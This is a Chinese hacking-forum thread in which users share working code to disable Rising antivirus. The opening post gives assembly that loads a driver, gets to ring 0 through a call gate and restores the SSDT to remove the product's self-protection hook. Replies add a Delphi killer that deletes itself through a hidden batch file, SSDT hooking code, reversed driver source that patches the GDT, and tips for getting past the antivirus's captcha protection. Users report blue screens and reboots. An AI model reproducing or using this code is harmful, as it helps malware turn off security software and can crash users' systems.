[原创]一个结束瑞星进程的程序
软件作者:zjjmj信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
看有人在问如何结束瑞星进程,于是便抽空写了一个。
其实瑞星保护自已的办法不复杂,就是SSDT HOOK了NtOpenProcess函数,恢复后即可。 本来准备在虚拟机上运行的,结果一大意就直接在自己电脑上点开了(主机上没装瑞星,虚拟机上是的),
和微点发生严重冲突,第一次提示无法进入RING 0 级,接着就死机蓝屏,系统随即崩溃了,无发开机....
幸好用雨过天晴恢复了下...
汗一个, 强烈建议LZ弟弟开源释疑 [s:269]
瑞星应该没有主动防御吧?那样的话只要能加载驱动,恢复SSDT应该是容易的。不过涉及到驱动嘛,大家都是心有忌讳的。LZ弟弟发布这样的作品,如过没有什么见不得人的技术,公布代码也是可以的嘛 [s:270] 看了"sudami "的回复
还在忧郁到底要不要测试
不过不牺牲下自己楼主也不知道自己的软件是否正常
结果运行了下
提示 [attach]972[/attach]
又运行了一次还是这个提示
再运行一次..蓝屏了
不过还好..我启动进系统又运行一次抓了以上那个图
再也不敢运行了..把程序删了
太可怕了
楼主自己经过测试没有就把软件发来了?
测试环境:winxp sp2 装了瑞星
别的软件没什么.. 哦,忘了说了,Xp操作系统,admin用户,单处理器!
主要只是想说明一个道理而已,所以ntoskrnl.exe的地址用了0x804d8000的硬编码,兼容性肯定不好了三。
[code].386p
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include macros.asm
include masm32.inc
include debug.inc
include advapi32.inc
includelib debug.lib
includelib masm32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib advapi32.lib
.data
dwFileSize dd 0
hFile dd 0
hMemory dd 0
pMemory dd 0
FunBase dd 0b6a8h
szExceptionCaused db 'Exception Caused - could not switch to ring 0',0
szError db 'Error',0
MsgCaption db 'Test',0
MsgBoxText db "cr3=%8x",0
tmp db 50 dup(90)
Callgt dd 0
dw 353h
.data?
.code
ExceptCallBack PROC
invoke MessageBoxA, 0, addr szExceptionCaused,addr szError, 0
invoke ExitProcess, -1
ret
ExceptCallBack ENDP
_OpenSys proc
local hSCManager:HANDLE
local hService:HANDLE
local acDriverPath[MAX_PATH]:CHAR
; Open a handle to the SC Manager database
invoke OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE
.if eax != NULL
mov hSCManager, eax
push eax
invoke GetFullPathName, CTXT("sys.sys",0), sizeof acDriverPath, addr acDriverPath, esp
pop eax
; Register driver in SCM active database
invoke CreateService, hSCManager, CTXT("sys",0), CTXT("System",0), \
SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \
SERVICE_ERROR_IGNORE, addr acDriverPath, NULL, NULL, NULL, NULL, NULL
.if eax != NULL
mov hService, eax
invoke StartService, hService, 0, NULL
; Here driver beeper.sys plays its nice melody
; and reports error to be removed from memory
; Remove driver from SCM database
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.else
invoke MessageBox, NULL, CTXT("Can't register driver.",0), NULL, MB_ICONSTOP
.endif
invoke CloseServiceHandle, hSCManager
.else
invoke MessageBox, NULL, CTXT("Can't connect to Service Control Manager.",0), \
NULL, MB_ICONSTOP
.endif
ret
_OpenSys endp
start:
push offset ExceptCallBack
call SetUnhandledExceptionFilter
invoke _OpenSys
invoke CreateFile, CTXT("C:\WINDOWS\system32\ntoskrnl.exe",0), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox, NULL, CTXT("打开文件失败!",0), CTXT("打开文件失败!",0), MB_OK or MB_ICONHAND
jmp Exit
.endif
mov hFile, eax
invoke GetFileSize, hFile, NULL
;add eax, 0100h
mov dwFileSize, eax
invoke GlobalAlloc,GMEM_SHARE or GMEM_MOVEABLE or GMEM_ZEROINIT, dwFileSize
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke ReadFile, hFile, pMemory, dwFileSize, esp, 0
mov ecx, 0470h/4
mov esi, pMemory
add esi, 0b6a8h
mov edi, esi
add1: lodsd
add eax, 0800d8000h
stosd
loop add1
;jmp Exit
call fword ptr [Callgt] ;use callgate to Ring0!
mov eax,esp ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax
cli
mov edi,0804d8000h
add edi,FunBase
mov esi,pMemory
add esi,FunBase
mov ecx,0470h
cld
rep movsb
sti
pop esp ;restore ring0 esp
push offset Exit
retf
Exit:
;invoke MessageBox, NULL, CTXT("已成功恢复SSDT",0), CTXT("Success",0), MB_OK
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
invoke ExitProcess,NULL
end start[/code] dll和sys的代码发一下吧,那个ressdt是什么? Delphi下写个程序继续关闭瑞星
program Project1;
uses
Windows, Messages, SysUtils;
procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;
procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end. DLL的调用输出函数是什么? 谁能说下 现在瑞星有几个进程啊?
线程 都在哪些啊? winxpsp2+全补丁+df+裸机跑的,下载后执行了程序里的.exe 无条件帮我重启,连提示也没有。
幸亏我有df,不是又要Ghost系统了! [s:278] ... 又见硬编码 关键符搜索呢? restore ssdt,搞定鸟
由于瑞星没有阻止驱动的加载,所以very简单鸟 好用吗?``````````` [quote]procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.[/quote]
之前提到的40027我知道是怎么来的了,那请问接下来的2775和32776怎么得来的呢? ding!!!!!!!!!!!!!! 如果其他程序也改了ssdt中的NtOpenProcess来防杀,那么就被称之为:流氓...
.data?
dwOldNtOpenProcess dd ?
NewNtOpenProcess dd ?
.data
CCOUNTED_UNICODE_STRING "NtOpenProcess", g_ProcessAddr, 4
.
.
mov eax, KeServiceDescriptorTable
mov esi, [eax]
mov esi, [esi] ;KeServiceDescriptorTabled导出符号获得数组的基地址
invoke MmGetSystemRoutineAddress,addr g_ProcessAddr
inc eax
movzx ecx,byte ptr[eax]
sal ecx,2 ;取 NtOpenProcess服务ID
add esi,ecx
mov dwAddr,esi
mov edi,dword ptr[esi]
;保存旧的函数地址。
mov dwOldNtOpenProcess,edi
mov edi,offset NewNtOpenProcess
cli
mov dword ptr[esi],edi ;修改入口地址
sti
popad
mov eax, STATUS_SUCCESS
NewNtOpenProcess是新的函数地址,这个函数你是随意控制编写代码的。
恢复NtOpenProcess也很简单,只要找到NtOpenProcess的地址就可以咯..
mov eax,dwOldNtOpenProcess
cli
mov dword ptr[esi],eax
sti 貌似楼主这个sys挺简单的噢...逆向代码:
;link /driver /base:0x10000 /align:32 /subsystem:native /OUT:"sys.sys" "sys.obj"
.386
.model flat, stdcall
option casemap:none
include w2k\ntddk.inc
.data?
hDriver dd ?
.code
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
push ebp
mov ebp, esp
pushf
pusha
push edx
sgdt [esp+28h+hDriver]
pop edx
mov eax, edx
mov ecx, 350h
cmp dword ptr [ecx+edx+2], 0EC000358h
jz _Goto
mov byte ptr [edx], 0C3h
mov [ecx+edx], ax
shr eax, 10h
mov [ecx+edx+6], ax
mov dword ptr [ecx+edx+2], 0EC000358h
mov dword ptr [ecx+edx+8], 0FFFFh
mov dword ptr [ecx+edx+0Ch], 0CF9A00h
_Goto:
popa
popf
mov eax,STATUS_SUCCESS
ret
DriverEntry endp
end DriverEntry [quote]引用第11楼wrbcn于2007-08-31 19:49发表的 :
restore ssdt,搞定鸟
由于瑞星没有阻止驱动的加载,所以very简单鸟[/quote]
要阻止驱动的加载,就得hook ZwLoadDriver了..还是在ssdt上做文章的说 根本就不起任何作用! windowsxp sp2 admin 瑞星初次运行蓝屏!第二次能把瑞星关闭!但是几分钟后就蓝屏!第三次。。。还是蓝屏~~~ 乖乖 我一运行就重起了
奶奶的 日了
运行了还有后遗症
又突然重起了
那个救救 我吧!! 3级下也可以干掉瑞星的,关联作业和进程就可以,然后结束作业瑞星进程就OVER了 不知道行不行 现在最新版本的瑞星有个自我保护机制..
关闭监控就会弹出要求输入验证码的对话框....
想问下....
有什么办法绕过这个保护
[s:263] [s:263] [s:263] 已经有人做过用job关rs的了,ls没注意么? 我想请问一下3楼,你是怎么抓图的? 我的被赛门铁克杀了 好使么?
页:
[1]